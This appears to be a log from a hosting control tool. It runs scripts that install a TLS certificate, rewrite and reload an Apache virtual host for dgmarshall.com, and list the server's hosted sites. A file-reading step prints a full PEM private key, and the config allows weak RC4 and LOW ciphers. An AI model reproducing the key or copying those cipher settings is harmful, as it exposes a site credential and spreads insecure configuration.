AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-14 06:00:53: 

chmod 755 /tmp/pkp592067; /tmp/pkp592067; rm /tmp/pkp592067

2026-06-14 06:00:53: 


dir=/etc/ssl/certs


2026-06-14 06:00:54: 

PUT: /tmp/pkp100180

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/dgmarshall_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-14 06:00:54: 

chmod 755 /tmp/pkp100180; /tmp/pkp100180; rm /tmp/pkp100180

2026-06-14 06:00:54: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_com.conf 42

<VirtualHost *:80>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-14 06:00:54: 

PUT: /tmp/pkp865452

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=dgmarshall_www_com.conf
TARGET=/etc/apache2/sites-enabled/dgmarshall_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/dgmarshall_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/dgmarshall_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_com.conf= 1'
fi


2026-06-14 06:00:54: 

chmod 755 /tmp/pkp865452; /tmp/pkp865452; rm /tmp/pkp865452

2026-06-14 06:00:54: 




2026-06-14 06:00:54: 

PUT: /tmp/pkp962186

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-14 06:00:54: 

chmod 755 /tmp/pkp962186; /tmp/pkp962186; rm /tmp/pkp962186

2026-06-14 06:00:54: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-14 06:00:54: Establishing a connection
2026-06-14 06:00:54: 

PUT: /tmp/pkp881375

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-14 06:00:54: 

chmod 755 /tmp/pkp881375; /tmp/pkp881375; rm /tmp/pkp881375

2026-06-14 06:00:54: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:2)
                 alias www.anassnamedgrace.com
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:23)
         port 443 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-14 06:00:54: 

PUT: /tmp/pkp341885

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/dgmarshall_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-14 06:00:54: 

chmod 755 /tmp/pkp341885; /tmp/pkp341885; rm /tmp/pkp341885

2026-06-14 06:00:54: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_com.conf	1383

<VirtualHost *:80>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-14 06:00:54: 

PUT: /tmp/pkp965349

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-14 06:00:54: 

chmod 755 /tmp/pkp965349; /tmp/pkp965349; rm /tmp/pkp965349

2026-06-14 06:00:54: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt	7440
40:92:ab:7d:92:d3:7a:c6:37:30:b4:3d:24:fb:da:ce

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBerCUTtDfKcbjtRwfUTY01zyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjE0MDUwMjIyWhcNMjYwOTEyMDUwMjIxWjAZMRcwFQYDVQQD
Ew5kZ21hcnNoYWxsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALEzSZ5DckdfBDcu21eKFXW1+KU4dvRqJToGBj73nFO1ZAb6waCo9gDJ7EkmVF0g
xC7IERO2leJ8ZggXsYeomTESOodjiD4mTxzkER/XGr0uzj2Na+b4KeK83tkTcDRa
+NAeeaXG+0aFpBm/UoHrOLtsQWSrMhfYMR2Y7Xts7Kanho+mouVj1vbpfcsj5e7K
soXkxstcNKDO7hDn7fYG90SMKdH3TwznQo8xQpENgT6CkwAoiAHLa5U7KxK4SHWs
yKE6wMrK9Pc6+wDDHSxv0j33vC8wQunkPkikHyMvF2ppn9UWRTu2Z75KJebYnx7n
h8c5bsGucP1kQz8w/pIkBN0CAwEAAaOCAjEwggItMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQUujWF
fQO5s85EgvoncOybgW2xoDAfBgNVHSMEGDAWgBQfLzW+RhSCzUCxrnksVXj699Ro
+zAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjEuaS5sZW5j
ci5vcmcvMC0GA1UdEQQmMCSCDmRnbWFyc2hhbGwuY29tghJ3d3cuZGdtYXJzaGFs
bC5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0
cDovL3lyMS5jLmxlbmNyLm9yZy8xMTUuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB
+gD4AHYA1219ENGn9XfCx+lf1wC/+YLJM1pl4dCzAXMXwMjFaXcAAAGexLf6wgAA
BAMARzBFAiEA8euSZCljqkTFfUWYRT7ynY8hxNiGMYXjDQKKjRQwNLICIGUNfzLz
Q0iQTInW45yjdM1lIF5HwqBjmQX53+sdzThKAH4AGoudaw/+v4G0eTnG0jEKhtbR
AtTwRuIYLJ3jX14mJe8AAAGexLf83AAIAAAFAB6kdCQEAwBHMEUCIFFJFeQUcPee
koTyBXT3B2JZItp51kdWdGEFGDnvP4IIAiEAt1fpCANvwBZNpqIHGAV+V1OlmTrp
YeOGf7gtoNkdd4AwDQYJKoZIhvcNAQELBQADggEBAJCEO3mFEAceZcnl9MPiTC93
54kMsLFzXLuEh/hN2iRehkGoI9F3ltlbaQmjrt/XyJGv0CY8st2/pt1zI4kTEsR8
fkSP0++07yXXU0OJecJyLzNTyB9fhw0dkBTZlP7rABjgfH91D9FLSZv5IgUw8hvx
0N1hKJtu7wARUuHVqZKG5mKchBFCDi92r6D61vJVScONoA9iJaz7dlsTVv9ULGF9
/AMcf8wchaNAbvaHvutdKU+IrGo7EkAovBNwb40pCEHBQEQXBEdEpPCRSntLmS+y
EEvr+1bDLHo5l9aiulwm8dctPcUTFoO3eyIMuluNpxWcmzPEhabhcKZ6/4P7P6w=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCxM0meQ3JHXwQ3
LttXihV1tfilOHb0aiU6BgY+95xTtWQG+sGgqPYAyexJJlRdIMQuyBETtpXifGYI
F7GHqJkxEjqHY4g+Jk8c5BEf1xq9Ls49jWvm+CnivN7ZE3A0WvjQHnmlxvtGhaQZ
v1KB6zi7bEFkqzIX2DEdmO17bOymp4aPpqLlY9b26X3LI+XuyrKF5MbLXDSgzu4Q
5+32BvdEjCnR908M50KPMUKRDYE+gpMAKIgBy2uVOysSuEh1rMihOsDKyvT3OvsA
wx0sb9I997wvMELp5D5IpB8jLxdqaZ/VFkU7tme+SiXm2J8e54fHOW7BrnD9ZEM/
MP6SJATdAgMBAAECggEAK0TtzhKEHj9qZRsw/kA+mz6zF40hJu+gZXnBHrER4DLj
2Px0OYnogCrOYtJUOWVd4lqCKQElumdL9t/qPskBl0TvO84nH531JYXfVJoO8nEy
dT9KQN0KRU5/UBx6Ap7QMOmwJLXg98h8WLkqKYVJliKKGU3gbogg/iwwmTnw04Sd
eBRK5364Jnqu3WWmGShwwF7RWc3L0bYqi+g9uQaiwtOmPgK79CTYsiCGM6sWoN7v
ppC0MGiblS9uOt7gy1RPa6Y8sfQyycA9GF2L5t57Av1AbBlHr64n9r9DoKIM7o7F
hWdH+vDDrne7ELME/zZ1q4G+nlUNhGO3RD9lYJCitQKBgQD5mCFUzUurwAU+t0iq
dTpeeLuQ9m8jf7rZcck2i0PYwlNhJr0ZpHYyqrj/s8jmJOLh9MmXQI0TQ07smpsb
pUE3DyfQaXN9m3Or1EJcr7jnVJEckcBxnRpFMB1YkXPPvD2CRyo9/NP13mrz/AW9
g5sF3sHw5ZcVvKL0+KVy4uQRQwKBgQC1v4TflxnCGE7YS6lkzFby0x1ggHWjq2u1
PwufOa16iDK4SxoOIyVVuEQ70pPNYRr43OjvO7xemBn5CZKtqqpkkln1zNfcv5FC
A7+RXo3W2A5QP44ejNPVN1Ep6YtT9NHgBvFE6RjCvFHmpP7YjHJDIunFr15u/HXO
MCuylwOfXwKBgQCjmH9gYh+TN404ilHqyGO1wFTQs3YtQm9qTxaf1bBmxxh3uTiB
Mjb3Bsezclff4ZWEnTn1Fa5iTd/RXZUFDdAtEpX6GORGFDpBCiNlNRhxKBDlNPN6
hIrPhrX1c4EBTFTUq2iYsLsNkPdxbGMm0LgvpM5h41qgOMBm6QMoxmbOmQKBgQCd
/5G2gngNCO66EASBsTZBQJCATQx3rVUkKlujHxQVuoNFPVy4P4t8WoVO8EA3Qhyd
jgYdu3OFVHr3yX+u4/ffGG+GRH6/0/WmSvXlnSp3RDolPysAmfKpn746TmImKWWu
eLqT6oPw/p/Af11gya+nd5l8lnjkySpshennBmtKxwKBgBNIj/Ef3Fe/MgEvbR2H
ZrMsR7+x/m1GGEZx097oyNI8lmAuLkfoltJKyqZMteZzZlnUPx7gdmOlduC9jAKk
Sg5GZejeBbDvO5cCR99631N50FZ33zrVi05KHypbztm1xgSagGRLVvlmB2sXt1ie
R/tkvpnB6wnz0CMvU7Dg7KvQ
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
